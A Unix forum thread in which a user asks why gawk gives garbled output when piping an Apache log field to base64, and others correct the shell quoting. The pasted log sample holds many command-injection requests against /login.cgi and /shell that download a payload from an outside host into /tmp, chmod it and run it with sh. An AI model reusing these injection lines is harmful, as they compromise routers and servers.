Base64 conversion in awk overlaps


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Base64 conversion in awk overlaps
# 1  
Old 08-22-2018
Base64 conversion in awk overlaps

hi,

problem:
output is not consistent as expected using external command in AWK

description:

I'm trying to convert $2 into a base64 string for later decoding, and for this when I use [g]awk , I'm getting overlapped results , or say it results are not 100% correct.

my code is:

Code:
gawk -F\" ' { print $2;  cmd="echo "$2" | base64";cmd| getline x;close(cmd); print x }' /var/log/apache2/other_vhosts_access.log


and the output is given below, not all lines are encoded using base64.

Code:
UE9TVCAvaXBsaWZ0L2dldF9pcF9saXN0LnBocD92PTQgSFRUUC8xLjEK
GET / HTTP/1.1
R0VUIC8gSFRUUC8xLjEK ---------> sample encoded
GET /action=detail,pid=1044 HTTP/1.1
R0VUIC9wcm9wZXJ0eS1zZWFyY2h+YWN0aW9uPWRldGFpbCxwaWQ9MTA0NCBIVFRQLzEuMQo=  ---------> sample encoded
GET /?load=css&file=master/styles/details.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=com_master/styles/text.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=master/styles/boxes.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=master/styles/quick-search.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=master/styles/results.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=master/styles/style.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=master/styles/myarea.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=master/styles/form.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=master/styles/template.css HTTP/1.1


input is simply an apache2 log file.

REgards,
# 2  
Old 08-22-2018
your issue is with the embedded quotes around $2 for echo.
One possible alternative:
Code:
gawk -F\" -v qq='"' { print $2;  cmd="echo " qq $2 qq" | base64";cmd| getline x;close(cmd); print x }' /var/log/apache2/other_vhosts_access.log


Last edited by vgersh99; 08-22-2018 at 11:34 AM..
# 3  
Old 08-22-2018
Pls post an input sample.
# 4  
Old 08-23-2018
Here is the sample input

My apologies to re-edit. I need to encode $3 in this below given input into base64 for a later decoding( only $3 encoding is required, while rest is already used in arrays ) . Thanks


Code:
5.4.4585.4.45.25.4.455.4.45.5.4.4597.2   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45
5.4.45.53.25.4.455.4.45.0      HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4578.47.5.4.4523.90   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45
5.4.45.53.68.35.4.45      HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4556.25.4.452.208.230 HHH /shell?cd+/tmp;wHHH+oiweoweour80.25.4.455.4.45.5.4.455.4.452.5.4.4550/js;chmod+777+js;./js HTTP/5.4.45.5.4.45
27.79.5.4.4597.53    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45
27.5.4.4509.96.5.4.4560   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour25.4.452.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/5.4.45.5.4.45
5.4.4556.25.4.456.25.4.458.235 HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour50.5.4.455.4.455.5.4.4566.5.4.4536/hakai.mips%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
25.4.459.5.4.4555.5.4.458.50   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45
35.4.45.5.4.4563.5.4.455.4.452.5.4.4555.4.45  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour80.25.4.455.4.45.67.245/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/5.4.45.5.4.45
5.4.4597.39.5.4.4592.237  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4556.225.4.45.54.246  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
35.4.45.5.4.4563.5.4.4503.5.4.4572  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/xb;sh%20/tmp/xb%27$ HTTP/5.4.45.5.4.45
45.4.45.42.255.94    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.5.4.4540.5.4.456.5.4.4536    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45
42.5.4.455.4.453.5.4.455.4.455.4.45.242  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4556.5.4.4598.245.37  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
45.4.45.45.5.4.4576.86    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4583.5.4.4502.225.4.45.5.4.4596 HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/5.4.45.5.4.45
46.205.4.45.45.4.45.5.4.4592   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/xb;sh%20/tmp/xb%27$ HTTP/5.4.45.5.4.45
5.4.4597.45.4.45.5.4.4579.65.4.45   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour50.5.4.455.4.455.5.4.4566.5.4.4536/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4556.5.4.4598.253.220 HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour50.5.4.455.4.455.5.4.4566.5.4.4536/hakai.mips%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
83.235.5.4.4582.234  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4599.5.4.4595.254.5.4.455.4.458/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$ HTTP/5.4.45.5.4.45
25.4.450.203.243.5.4.4575 HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour25.4.452.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/5.4.45.5.4.45
35.4.45.5.4.4563.34.5.4.453    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/xb;sh%20/tmp/xb%27$ HTTP/5.4.45.5.4.45
5.4.4556.25.4.459.239.27  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour50.5.4.455.4.455.5.4.4566.5.4.4536/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4556.202.5.4.4599.5.4.4548 HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour50.5.4.455.4.455.5.4.4566.5.4.4536/hakai.mips%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.5.4.4550.5.4.4535.4.45.5.4.4573   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45
27.5.4.4525.4.45.8.240    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour25.4.452.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/5.4.45.5.4.45
5.4.4597.42.25.4.455.4.45.2    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
202.226.244.235.4.45 HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour25.4.452.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/5.4.45.5.4.45
45.4.45.236.5.4.4585.4.45.5.4.4540  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4588.5.4.4565.56.208  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45
5.4.4556.25.4.458.5.4.455.4.456.5.4.4588 HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour50.5.4.455.4.455.5.4.4566.5.4.4536/hakai.mips%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4597.54.5.4.4545.5.4.4524  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
45.4.45.47.5.4.455.4.455.94    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
79.23.5.4.4520.5.4.4567   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour80.25.4.455.4.45.67.245/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/5.4.45.5.4.45
37.79.5.4.4555.86    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour80.25.4.455.4.45.67.245/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/5.4.45.5.4.45
45.4.45.238.25.4.458.209  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45

------ Post updated at 02:50 PM ------

Quote:
Originally Posted by vgersh99
your issue is with the embedded quotes around $2 for echo.
One possible alternative:
Code:
gawk -F\" -v qq='"' { print $2;  cmd="echo " qq $2 qq" | base64";cmd| getline x;close(cmd); print x }' /var/log/apache2/other_vhosts_access.log


Hi, I'm now getting

Code:
-bash: syntax error near unexpected token `cmd'

# 5  
Old 08-23-2018
Help me out - why do you set the field seprator to " when there is NO " in your input file? $2 (requested in post#1) will be the empty string... as will $3 requested in post#4.
# 6  
Old 08-23-2018
Quote:
Originally Posted by RudiC
Help me out - why do you set the field seprator to " when there is NO " in your input file? $2 (requested in post#1) will be the empty string... as will $3 requested in post#4.

I was expecting this from you only @RudiC... Actual input is very thin to paste here..this is why I specifically mentioned in 2nd response that I need to encode $2 using base64 (only).. forget the
Code:
 -F\"

please for now.

the other problem is that its a million lines file and every $2 has to be encoded using base64.. the [g]awk runs out or whatevery happens, it is giving me scambled results instead of line by line encoding using external command of base64 in linux/debian.

Anyways, thanks for your input.
# 7  
Old 08-23-2018
What be $2 in your second response?
This User Gave Thanks to RudiC For This Post:
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Numeral conversion in awk

I am running into conversion of string to numbers in awk that I can't understand and don't know how to deal with properly My script checks for numeric only field, I use this approach to do that: $1 + 0 == $1 It works most of the time, but in some cases it does not behave how I expect it to... (5 Replies)
Discussion started by: migurus
5 Replies

2. Shell Programming and Scripting

Conversion of line via awk or etc

Hello friends, could you help me about problem with my data lines. I suppose a simple awk code may help me. I have following data lines: (first line including 3 numbers and then a matrices of 4x10) 500 40 9 1 A B 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22... (6 Replies)
Discussion started by: rpf
6 Replies

3. Red Hat

Crontab: overlaps

I'm using CentOS 6.3 and I use a crontab entries like this: 0 23 2-31 * 1-6 root weekdayscript 0 23 1 * 7 root weekendscript this 2 entries always overlaps... but I don't know how... :wall: thanks (10 Replies)
Discussion started by: ionral
10 Replies

4. Shell Programming and Scripting

awk? create similarity matrix by calculating overlaps between sets comprising of individual parts

Hi everyone I am very new at awk and to me the task I need to get done is very very challenging... Nevertheless, after admiring how fast and elegant issues are being solved here I am sure this is my best chance. I have a 2D data file (input file is a plain tab-delimited text file). The first... (1 Reply)
Discussion started by: stonemonkey
1 Replies

5. UNIX for Dummies Questions & Answers

Why are there LFs in my base64?

And is there a good way of taking them out? I've been playing around a bit with using b64 to embed images in HTML (and trying to stay within the spec). I've noticed that with openssl's base64 encoder, the output files have newline characters @ every 65th column or so. This renders them useless,... (2 Replies)
Discussion started by: SilversleevesX
2 Replies

6. Shell Programming and Scripting

File conversion and awk

Hi Everyone, I am confused with the output of the input file and I am using below command in script to get the expected output. Also I want to add another condition using logical AND (&&) in place of $2=="L"{$4=0-$4} as $2=="L" && $3=="L" {$4=0-$4} but I am getting some awk error. Can someone... (6 Replies)
Discussion started by: gehlnar
6 Replies

7. Shell Programming and Scripting

AWK Currency Conversion

How can I use awk command to convert values to currency. For example I have a database like follows John:200 smith:300 kim:405 and want it to out put like this John $200.00 (3 Replies)
Discussion started by: 3junior
3 Replies

8. Shell Programming and Scripting

Determining number of overlaps between two files using Hashes?

Hi there, I have a doubt about how to set this up. This is the situation. I have two files, one that is ~31,000 in length and has the following information (7 fields): file1 1 + 100208127 100261594 6 100208127,100231680,100237404,100245177,100249508,100260529, ... (35 Replies)
Discussion started by: labrazil
35 Replies

9. Shell Programming and Scripting

String Conversion in awk

I am porting a awk script from Windows to unix I_SALE_MEDIA=$67 if ((I_VOID_FLAG == "Y") && (I_SALE_MEDIA == 0)) NOW consider the case where I_SALE_MEDIA i.e $67 is "000" The above comparison works fine in Windows , but to make it work in Unix , I had to change the above as follows : ... (3 Replies)
Discussion started by: rohanrege
3 Replies

10. UNIX for Dummies Questions & Answers

I'm looking for someone who have Base64 binary

I need to install the base64 encryption method on a UNIX machine under AIX5.2. I've received a tar file but it is only C source , can you help me please. (sending me a binary base64 or to compile my source) Thanks by advance (3 Replies)
Discussion started by: Bruno_LAMOUR
3 Replies
Login or Register to Ask a Question